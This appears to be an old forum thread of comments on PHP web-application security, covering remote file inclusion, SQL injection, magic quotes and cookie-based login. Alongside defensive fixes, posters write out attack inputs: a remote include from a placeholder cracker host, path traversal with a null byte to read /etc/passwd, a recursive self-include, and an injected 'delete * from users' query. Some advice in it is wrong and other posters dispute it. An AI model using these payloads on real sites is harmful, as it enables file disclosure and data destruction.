Security flaws in PHP

I'm learning about PHP from using PHP Nuke (www.phpnuke.org) as a content management system.

After seeing the posts about headers and footers and included files and such... I looked at the code and it seems that PHP Nuke uses this technique.

I'm new to PHP so I don't know the details of how the code I'm looking at works yet.

Just wondering if anybody has worked with this system and had any security flaws?

A simple solution to first example problem is to use a function like SafeExtract()

http://www.digitalamit.com/article/safeextract.phtml

My first PHP based page already had a workaround for this problem, and that fix was created for the purposes of making the URL simpler.

Instead of having something like:
<?php
include( $page );
?>
Use this simple workaround:
<?php
include( $page.php );
?>
then your site will use a URL that looks like this:
www.yoursite.com/?page=blog
which will include blog.php.

An added side effect of this is that calling a site like this:
www.yoursite.com/?page=http://www.cracker.com/crack
will not work because PHP is looking in your root site directory for a file named "http://www.cracker.com/crack.php" and not at the web address.

<?php
passthru( "cat /etc/passwd" );
?>

SO wath if someone gets this! Tryed it on my server, and all I got was a bunch of wierd letters.. How can this be harmfull to me!?

> <?php
> passthru( "cat /etc/passwd" );
> ?>
>
> SO wath if someone gets this! Tryed it on my server, and all
> I got was a bunch of wierd letters.. How can this be
> harmfull to me!?

Sorry !? Did I read properly !? The /etc/passwd file includes all the users and groups on your system, including root, and some more informaion, like their home directory etc ...
This can already give a big clue about what stuff is installed on your system and more...

Never underestimate information, cause it's the best and most powerful weapon of our times !

I'm no expert at PHP programming -at all- but wouldn't the problem of "Where Username=Admin'-- AND Password=..." be solved if you program your SQL so that it checks for Password first, and _then_ username?

In which case, they have to guess the password of the admin right, or basically the password of any member, but member-pw's won't help them much...

If i use PHP to connect Informix database, how to setup Informix ask for password (not need to add user id and password in code PHP).
See the example code...
ifx_connect("system@onlinetcp_prd","dcweb","dcweb01");
I need Informix or AIX ask password.
Is it possible ?

Another thing that is easy to do is to keep your variables (database passwords etc.) in an include file, and use extension like: .html, .inc, .txt
The variablse will be visible to other users who knows the URL to this file.

Solution:
Use .php, .jsp etc. instead.

Several fixes to the 'include($page)' problem have
already been suggested.

Another way is to include a hashed array of
legal filenames in the page display code.

$filenames['page_one.php'] = 'page_one.php';
$filenames['page_two.php'] = 'page_two.php';

<php

include "legal_filenames.inc";

$hackers_buzzoff = $legal_filenames[$page];

....now display the value of $hackers_buzzoff.
If they type something into the url manually,
the script won't cooperate.

As mentioned, this statement would allow people to login if the the quotes aren't escaped,


"SELECT * FROM UserTable WHERE Username='admin'; --' AND Password='fdgd'"

it could also be used to execute other SQL statements after this one. Say you enter a username of

"admin';delete * from users;--"

which would execute:

"SELECT * FROM UserTable WHERE Username='admin'; delete * from users;--' AND Password='fdgd'"

both the select and delete statments. Granted, any damage they can cause depends on database permissions and the hackers knowledge of the database structure (or ability to guess it). Regardless, your giving a hacker a big in onto your system.

This article should be called...
Common Design flaws in PHP web sites.

If you design your site like this
then yes, you can get hacked pretty easily...

However, it's fairly easy to avoid this by adding a remote protcol check.

<?php
<!-- print header here -->

if (eregi("://", $page))
{
/* should catch on http://, ftp://, etc*/
die("Error: ".$page." is not valid.");
}
else
{
include( $page );
}

<!-- print footer here -->
?>

-Ironstorm

PHP actually fix this problem for you. if you pace var between qoutes like this '$var' then php automatically escapes it for you.

i suggest you better test you theory first with php before posting such incorrect things. this problem does happen with other languages.

This depends on the state of Magic Quotes when you compiled PHP. If Magic Quotes not was enabled, strings will not be automaticly espaced. Automatic escaping of strings is also only available when using MySQL or PostgreSQL as database. If you are using Oracle, Informix, DB2 or any other database, there is no use in Magic Quotes.

If magic quotes are enabled, you can still insert single quotes by using &rsquo; instead of '

I just tried it, and it works fine

> This depends on the state of Magic Quotes when you compiled
> PHP. If Magic Quotes not was enabled, strings will not be
> automaticly espaced. Automatic escaping of strings is also
> only available when using MySQL or PostgreSQL as database.
> If you are using Oracle, Informix, DB2 or any other
> database, there is no use in Magic Quotes.

> If magic quotes are enabled, you can still insert single
> quotes by using &rsquo; instead of '
>
> I just tried it, and it works fine
>
&rsquo; will display ' in html did u view the source of the page after u tried it?

The include($page) trick can be easily fixed though... simply place all your include files inside a separate directory, for example:

include("includes/" . $page . ".php");

That way, remote URLs automatically become impossible.
You don't have to worry about people including critical files (such as password files), because when PHP gives parse errors, it doesn't echo the actual script-code that is bad.

for example:
>
> include("includes/" . $page .
> ".php");
>
> That way, remote URLs automatically become impossible.
> You don't have to worry about people including critical
> files (such as password files), because when PHP gives parse
> errors, it doesn't echo the actual script-code that is bad.

Well, that is another oversight! You can use the null character %00 to terminate the string, so by calling the URL

http://www.unsecuresite.com/index.php?page=../../../../etc/passwd%00

you can get the local password file included. Of course, depending on the htdocs path you have to play with the number of ../'s, but you get the picture. The null terminator circumvents the concatenated .php extension.

Basically, any file on the local server where the web server process has read permission can be served up with a basic knowledge of file locations using this method.

Another nasty one is

http://www.unsecuresite.com/index.php?page=../index%00

which would recursively include itself until the script execution time expires, and effectively run your CPU full tilt in the process.

I don't think that this is a vulnerability at all. If you included "http://somedomain.com/crack.php, the file crack.php would be sent via http, meaning that your php would be parsed it's own server and then included onto the target server. Hence, all you would see was your server's passwords inbetween someone else's header/footer


> The include($page) trick can be easily fixed though...
> simply place all your include files inside a separate
> directory, for example:
>
> include("includes/" . $page .
> ".php");
>
> That way, remote URLs automatically become impossible.
> You don't have to worry about people including critical
> files (such as password files), because when PHP gives parse
> errors, it doesn't echo the actual script-code that is bad.

This is correct if the PHP module is running on crack.com

I assume that the cracker has controll over crack.com and can dissable the PHP module before doing this.

- Jo Henrik Endrerud

> I don't think that this is a vulnerability at all. If you
> included "http://somedomain.com/crack.php, the file
> crack.php would be sent via http, meaning that your php
> would be parsed it's own server and then included onto the
> target server. Hence, all you would see was your server's
> passwords inbetween someone else's header/footer
>

And what if a remote php as following?
<?php
echo "<?php passthru('/etc/passwd') ?>";
?>

Sorry, I mean :
> And what if a remote php is as following?
> <?php
> echo "<?php readfile('/etc/passwd') ?>";
> ?>

You are writing this article as if they are PHP bugs, but they are not. They are programmer bugs. PHP is doing exactly what you are telling it to do. If you make a system call in 'C' that formats a hard drive, is that a 'C' bug? No.
Programmers should check user input, especially when it is being passed on and executed somehow. You didn't make any sort of mention to PHP's "safe mode" or to disabling functions in php.ini.

Just some food for thought.

j

Whenever you let a user actually type something, they will invariably type the wrong thing! Its is critical that the programmer do at the very least simple bounds/type checking for all user entered values.

You should also never trust the variables which get passed in an http GET or POST or from a cookie. Users love playing with those values. "Hm. Lets change this cookie userid and see who we log in as...".

Trust no one, always assume a hostile environment for your code.

Wow, I had no idea it was so easy to crack a PHP page!

> Wow, I had no idea it was so easy to crack a PHP page!

Well, it's not... as said above, this security flaw is actually bad programming practice to allow a POST/GET ie: external variable to be executed directly by the server.

One way to get around this is to have

index?page=main

switch($main){
CASE: main
include("mainpage.php");
break;
CASE: second
include("secondpage.php");
break;
}

If you do it this way, yes you have staticly named pages, but you have no way of letting the outside world dictate which source file to run on YOUR server other than YOUR souce files.

If you were desperate to be able to change the php file names, have them as variables... include($mainpage);
Then have another include file at the top that defines all these page name variables. That way you only need to change the filename in one spot in your source.

I think in the end, if you are changing filenames that often, you have some fundamental problems in your site design process.

Cheers people... Expect the stupid, because it'll probably happen.

Steve

> Well, it's not... as said above, this security flaw is
> actually bad programming practice to allow a POST/GET ie:
> external variable to be executed directly by the server.

I actually wasn't referring to this one. I definitely wouldn't ever have an include filename passed via a querystring. That's idiotic.

i was mainly referring to the select statements and how someone can send along additional information to get more out of the table.

Although, with passwords and cc numbers, I encrypt mine in the db so it wouldn't be so easy for them to get into that sort of information.

I can see how these can cause problems. My question is this.

How would the hacker know or get the table name to do the deletion. Or even the database name, username and password.

Also. I just created a big application. Well converted it from CGI to PHP. Now, I do have members login with a username and password. Passwords are kept encrypted. I also set cookies for the username and password. The password in the cookie is also encrypted. Through out the whole application I have the username and pass that is used in a string compared to the cookies. I guess that could be bad since someone can sniff out the cookie and get the info and use it in a string. BUT, if they use any of the URL's and type it in, they do not have a cookie to back it up proving that it is them. They would have to login in first knowing the password. Then have the cookies set. Is it possible to edit cookies? Make them whatever you want to?

Im just looking for solutions to make my application secure. It also uses multiple pages. But do not use one header and footer. Each page is called seperatley through actions. In each action, like I said above, it calls a function to verify that they are a member.

I would have liked to make the cookies secure, but had problems reading them again.

Thanks for your time.

I think it's a good idea to encode user name/pswd with users IP address and store in encrypted in the user's cookie. If someone steal this cookie, I will not work, because he will be accessing your website from another IP. Only exception is, when both users are on the same gateway or proxy.

function AuthSet($name) {
global $login,$loginchk;
$login = time();
$loginchk = md5($login."".getenv("HTTP_HOST"));
setCookie($name,$login,time()+180000);
setCookie($name,$loginchk,time()+180000);
}

> I think it's a good idea to encode user name/pswd with users
> IP address and store in encrypted in the user's cookie. If
> someone steal this cookie, I will not work, because he will
> be accessing your website from another IP. Only exception
> is, when both users are on the same gateway or proxy.
>
> function AuthSet($name) {
> global $login,$loginchk;
> $login = time();
> $loginchk =
> md5($login."".getenv("HTTP_HOST"));
> setCookie($name,$login,time()+180000);
> setCookie($name,$loginchk,time()+180000);
> }

table and column names are very easy to figure out, for the most part. User information is stored on tables often names 'users', 'user', 'user_info' stuff like that. Column names are often 'username/password', 'user/pass', stuff like that. Pretty basic.

Also, many sites have detailed error reporting, so if you guess a table that does not exist, the site may print out a copy of the SQL for debugging purposes which will give you all of the column names for that table. That information is just enough to make you very dangerous.


> How would the hacker know or get the table name to do the
> deletion. Or even the database name, username and
> password.